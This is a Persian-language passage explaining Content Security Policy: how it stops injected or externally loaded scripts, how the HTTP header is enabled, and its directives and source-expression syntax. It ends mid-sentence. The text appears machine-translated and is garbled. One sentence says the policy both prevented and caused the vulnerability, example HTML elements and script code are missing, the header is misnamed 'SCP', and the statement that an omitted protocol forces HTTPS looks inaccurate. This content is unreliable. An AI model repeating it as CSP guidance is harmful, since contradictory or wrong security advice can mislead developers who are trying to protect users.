اعتبار سنجی یک عمل فیلتر کردن ورودی کاربر است به طوری که تمام قطعات مخرب بدون نیاز به حذف کل کد در آن حذف شوند. یکی از بیشترین استفاده های مورد استفاده در توسعه وب، به شما امکان می دهد از برخی از عناصر HTML استفاده کنید (به عنوان مثال، و ) اما از بین بردن دیگران (به عنوان مثال،

با یک سیاست CSP به درستی خاص، مرورگر نمی تواند Malicious-script.js را دانلود و اجرا کند زیرا http: // مهاجم / به عنوان یک منبع قابل اعتماد مشخص نشده است. حتی اگر این سایت نتواند به طور ایمن ورود کاربر را در این مورد انجام دهد، سیاست CSP مانع آسیب پذیری شد و باعث آسیب پذیری شد.

حتی اگر مهاجم توسط کد داخل کد سناریو تزریق شود، و نه با اشاره به فایل خارجی، سیاست CSP به درستی پیکربندی شده نیز تزریق را به کد جاوا اسکریپت جلوگیری می کند و باعث آسیب پذیری می شود.

چگونه CSP را فعال کنیم؟

به طور پیش فرض، مرورگرها از CSP استفاده نمی کنند. به منظور فعال کردن SCP در وب سایت شما، صفحات باید دارای یک هدر HTTP اضافی باشند: سیاست امنیت محتوا. هر صفحه ای که حاوی این عنوان است، سیاست های امنیتی را در هنگام بوت شدن مرورگر اعمال خواهد کرد، در صورتی که مرورگر از CSP پشتیبانی می کند.

از آنجا که سیاست امنیتی با هر پاسخ HTTP ارسال می شود، ممکن است به صورت جداگانه یک سیاست را بر روی سرور به صورت جداگانه برای هر صفحه نصب کنید. همان سیاست را می توان به کل وب سایت اعمال کرد، در هر پاسخ، همان هدر CSP را وارد کنید.

محتوا در هدر خط مشی امنیتی محتوا شامل یک رشته تعریف یک یا چند سیاست امنیتی است که بر روی سایت شما کار می کند. نحو این رشته در زیر شرح داده خواهد شد.

نمونه هایی از سرصفحه این بخش از انتقال ردیف ها استفاده می کند و برای سادگی ادراک استفاده می شود؛ آنها نباید در هدر فعلی حضور داشته باشند.

نحو CSP

نحو هدر CSP به نظر می رسد مثل این است:

محتوا امنیت سیاست:
دستورالعمل مبحی منبع, مبحی منبع, ...;
دستورالعمل ...;
...

این نحو شامل دو عنصر است:

  • دستورالعمل ها (دستورالعمل ها) خطوط ارائه شده نشان دهنده نوع منبع گرفته شده از لیست مشخص شده است.
  • عبارات منبع این یک مدل توصیف یک یا چند سرور از جایی است که منابع را می توان دانلود کرد.

برای هر دستورالعمل، داده ها در بیان منبع تعیین می کنند که کدام منابع را می توان برای بارگیری منابع نوع مناسب استفاده کرد.

دستورالعمل

دستورالعمل های زیر را می توان در هدر CSP استفاده کرد:

  • connect-src
  • font-src
  • فریم SRC
  • img-src
  • رسانه SRC
  • object-SRC
  • script-src
  • style-src

علاوه بر این، دستورالعمل ویژه به طور پیش فرض SRC می تواند برای اطمینان از مقدار پیش فرض برای تمام دستورات که در عنوان گنجانده نشده استفاده شود.

بیان منبع

نحو برای ایجاد یک بیان از منبع به شرح زیر است:

پروتکل: // نام میزبان: شماره پورت

نام میزبان می تواند با * شروع شود، این بدان معنی است که هر گونه زیر دامنه نام میزبان ارائه شده حل خواهد شد. به طور مشابه، شماره پورت را می توان به عنوان * نشان داد، این به این معنی است که تمام پورت ها حل خواهند شد. علاوه بر این، پروتکل و شماره پورت می توانند از دست رفته باشند. اگر پروتکل مشخص نشده باشد، این سیاست به تمام منابع نیاز دارد که با استفاده از HTTPS بارگیری شود.

علاوه بر نحو فوق، بیان منبع می تواند یکی از چهار کلمه کلیدی با ارزش ویژه (نقل قول شامل) به عنوان یک جایگزین باشد:

"هیچ" منابع را ممنوع نمی کند. "خود" اجازه می دهد تا منابع از میزبان که صفحه وب واقع شده است. "Unsafe-inline" اجازه می دهد تا منابع موجود در صفحه به عنوان ساخته شده است